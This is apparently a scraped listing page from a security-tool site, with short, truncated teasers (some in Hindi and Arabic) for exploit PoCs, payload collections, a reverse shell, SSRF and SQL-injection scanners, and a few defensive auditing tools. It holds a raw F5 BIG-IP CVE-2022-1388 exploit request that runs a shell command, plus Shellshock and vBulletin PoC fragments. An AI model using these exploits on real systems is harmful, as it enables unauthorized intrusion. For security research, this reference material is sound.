payloads

payloads Git All the Payloads! वेब अटैक पेलोड्स का एक संग्रह। पुल रिक्वेस्ट्स का स्वागत है! उपयोग ./get.sh चलाएँ ताकि बाहरी पेलोड्स डाउनलोड हों और किसी भी संपीड़ित पेलोड फ़ाइल को अनज़िप किया जा सके। पेलोड श्रेय fuzzdb - https://github.com/fuzzdb-project/fuzzdb SecLists -...

payloads

payloads Git All the Payloads! A collection of web attack payloads. Pull requests are welcome! Usage run ./get.sh to download external payloads and unzip any payload files that are compressed. Payload Credits fuzzdb - https://github.com/fuzzdb-project/fuzzdb SecLists -...

CVE-2025-11749

CVE-2025-11749 AI Engine = 3.1.3 - كشف غير مصرح به للمعلومات الحساسة يؤدي إلى تصعيد الامتيازات ⚠️ AI Engine = 3.1.3 — كشف غير مصرح به للمعلومات الحساسة ← تصعيد الامتيازات GitHub: Nxploited Telegram: @KNxploited إشعار مهم: يحاول العديد من الأفراد غير الأخلاقيين الربح من الكود الذي أنشأته عن طريق...

shellshock-cgi

shellshock-cgi A python script to enumerate CGI scripts vulnerable to CVE-2014-6271 on one specific server Usage root@kitploit: $ python testing.py --server 172.16.255.130 --listen 172.16.255.1 Example Return: root@kitploit: + Testing if 172.16.255.130 is vulnerable to CVE-2014-6271 via CGI +...

ADZero

Description The vulnerable encryption protocol is implemented instead of the authentication mechanism in the Netlogon protocol. An unauthenticated attacker can use the Zerologon vulnerability to set the computer account password of the Domain Controller machine to null NT hash =...

CVE-2022-1388_PoC

F5 BIG-IP RCE exploitation CVE-2022-1388 POST 1: root@kitploit: POST /mgmt/tm/util/bash HTTP/1.1 Host: :8443 Authorization: Basic YWRtaW46 Connection: keep-alive, X-F5-Auth-Token X-F5-Auth-Token: 0 "command": "run" , "utilCmdArgs": " -c 'id' " curl commandliner: root@kitploit: $ curl -i -s -k -X...

CVE-2024-4956-Bulk-Scanner

README.md CVE-2024-4956 Bulk Scanner Disclaimer This tool is intended only for educational purposes and for testing in corporate environments. https://twitter.com/nav1n0x/ and https://github.com/ifconfig-me take no responsibility for the misuse of this code. Use it at your own risk. Do not attack...

PSPKIAudit

PSPKIAudit PowerShell toolkit for auditing Active Directory Certificate Services AD CS. It is built on top of PKISolution's PSPKI toolkit Microsoft Public License. This repo contains a newer version of PSPKI than what's available in the PSGallery see the PSPKI directory. Vadims Podans the creator...

EUVD-2026-72126

OpenMAIC before 1.0.1 skips server-side request forgery validation in non-production builds, allowing unauthenticated attackers to reach cloud instance metadata services. Attackers can supply arbitrary provider URLs via the x-base-url header or baseUrl parameter to access sensitive cloud...

CVE-2026-86259 OpenMAIC before 1.0.1 SSRF via Environment-Gated URL Validation

OpenMAIC before 1.0.1 skips server-side request forgery validation in non-production builds, allowing unauthenticated attackers to reach cloud instance metadata services. Attackers can supply arbitrary provider URLs via the x-base-url header or baseUrl parameter to access sensitive cloud...

CVE-2026-86259

OpenMAIC versions before 1.0.1 contain a server-side request forgery (SSRF) vulnerability in non-production builds where URL validation is gated by environment. Unauthenticated attackers can supply arbitrary provider URLs via the x-base-url header or baseUrl parameter, reaching cloud instance met...

unicorn

unicorn लेखक: डेव कैनेडी @HackingDave वेबसाइट: https://www.trustedsec.com Magic Unicorn एक सरल उपकरण है जो PowerShell डाउनग्रेड अटैक का उपयोग करके शेलकोड को सीधे मेमोरी में इंजेक्ट करता है। यह Matthew Graeber के PowerShell अटैक और David Kennedy TrustedSec और Josh Kelly द्वारा Defcon 18 में प्रस्त...

CVE-2016-2569

Hello there, Thank you for reading my first blog entry. Today we will go with exploit creation for one of the open-source tool Squid Caching proxy server. So What Is Squido? Squid is a caching proxy for the Web supporting HTTP, HTTPS, FTP, and more. It reduces bandwidth and improves response time...

HTTP-revshell

Powershell HTTP/S Reverse Shell HTTP-revshell is a tool focused on redteam exercises and pentesters. This tool provides a reverse connection through the http/s protocol. It uses a covert channel to gain control over the victim machine through web requests and thus evade solutions such as IDS, IPS...

ssrf-sheriff

SSRF Sheriff यह Go में लिखा गया एक SSRF परीक्षण शेरिफ है। इसे मूल रूप से Uber H1-4420 2019 London Live Hacking Event के लिए बनाया गया था, लेकिन अब इसे अन्य संगठनों द्वारा कार्यान्वित करने और इसमें योगदान देने के लिए ओपन-सोर्स किया जा रहा है। विशेषताएँ किसी भी HTTP विधि GET, POST, PUT, DELETE, आदि...

ssrf-sheriff

SSRF Sheriff This is an SSRF testing sheriff written in Go. It was originally created for the Uber H1-4420 2019 London Live Hacking Event, but it is now being open-sourced for other organizations to implement and contribute back to. Features Respond to any HTTP method GET, POST, PUT, DELETE, etc...

FARO

FARO Document Sensitivity Detector Table of contents What is this What's in here? Run FARO with Docker Run FARO on host machine Prerequisites Virtual environment Dependencies NER models FARO Spider Single File Detection Technical Details FARO entity detector Configuration Supported Input File...

CVE-2019-16759

CVE-2019-16759 vBulletin 5.x Unauthenticated Remote Code Execution Vulnerability Note: Some PoC packets return 403 instead of 200 Enhanced detection: echo md5'vBulletin'; Check if the response contains be4ea51d962be8308a0099ae1eb3ec63 print r.text.split'be4ea51d962be8308a0099ae1eb3ec63'0...

aiengine

AIEngine Artificial Inteligent Engine AIEngine is a next generation interactive/programmable Python/Ruby/Java/Lua packet inspection engine with capabilities of learning without any human intervention, NIDSNetwork Intrusion Detection System functionality, DNS domain classification, network...

CVE-2023-1454-Jeecg-Boot-qurestSql-SQLvuln

CVE-2023-1454 Jeecg-Boot-qurestSql-SQLvuln jmreport/qurestSql Unauthorized SQL Injection Batch Scan PoC. Jeecg-Boot is a rapid development platform based on Spring Boot and Jeecg-Boot-Plus. The latest version jeecg-boot 3.5.0 has been exposed with multiple SQL injection vulnerabilities. Usage...